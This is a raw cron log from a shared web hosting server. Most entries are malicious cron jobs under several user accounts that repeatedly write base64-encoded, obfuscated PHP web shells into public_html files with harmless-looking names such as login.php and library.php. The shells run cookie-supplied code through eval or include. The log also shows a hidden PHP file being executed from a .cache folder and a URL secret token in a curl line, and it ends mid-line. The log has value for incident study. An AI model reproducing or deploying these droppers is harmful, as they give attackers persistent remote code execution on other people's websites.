Mar  1 21:06:01 medusa CROND[31752]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:07:02 medusa CROND[14888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:07:02 medusa CROND[14889]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:07:02 medusa CROND[14890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:07:02 medusa CROND[14891]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:07:02 medusa CROND[14892]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:07:02 medusa CROND[14894]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:07:02 medusa CROND[14897]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:07:02 medusa CROND[14898]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:07:02 medusa CROND[14899]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:07:02 medusa CROND[14911]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 21:07:02 medusa CROND[14912]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:07:02 medusa CROND[14913]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:08:01 medusa CROND[2036]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 21:08:02 medusa CROND[2274]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 21:08:02 medusa CROND[2275]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:08:02 medusa CROND[2276]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:08:02 medusa CROND[2281]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:08:02 medusa CROND[2284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:08:02 medusa CROND[2287]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:08:02 medusa CROND[2290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:08:02 medusa CROND[2291]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:08:02 medusa CROND[2293]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:08:02 medusa CROND[2297]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:08:02 medusa CROND[2302]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:08:02 medusa CROND[2304]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:08:02 medusa CROND[2310]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:09:01 medusa CROND[23075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:09:01 medusa CROND[23120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:09:01 medusa CROND[23129]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 21:09:01 medusa CROND[23132]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:09:01 medusa CROND[23133]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:09:01 medusa CROND[23200]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:09:01 medusa CROND[23201]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gP